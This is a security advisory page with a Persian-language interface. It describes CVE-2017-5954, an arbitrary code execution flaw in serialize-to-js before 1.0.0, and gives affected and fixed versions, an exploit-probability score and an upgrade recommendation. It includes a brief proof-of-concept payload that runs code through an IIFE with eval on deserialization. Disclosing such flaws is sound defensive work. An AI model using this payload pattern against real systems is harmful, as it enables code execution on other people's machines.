همهٔ گزارش‌ها
بحرانی

Code Execution Through IIFE in serialize-to-js

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
< 1.0.0
نسخهٔ اصلاح‌شده
1.0.0

بهره‌برداری

CVE-2017-5954

احتمال بهره‌برداری در ۳۰ روز آینده: 4.46%

FIRST EPSS · ۱۴۰۵/۰۸/۲۹

شرح آسیب‌پذیری

Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

پیوندها

گزارش‌دهندگان

  • tdunlap607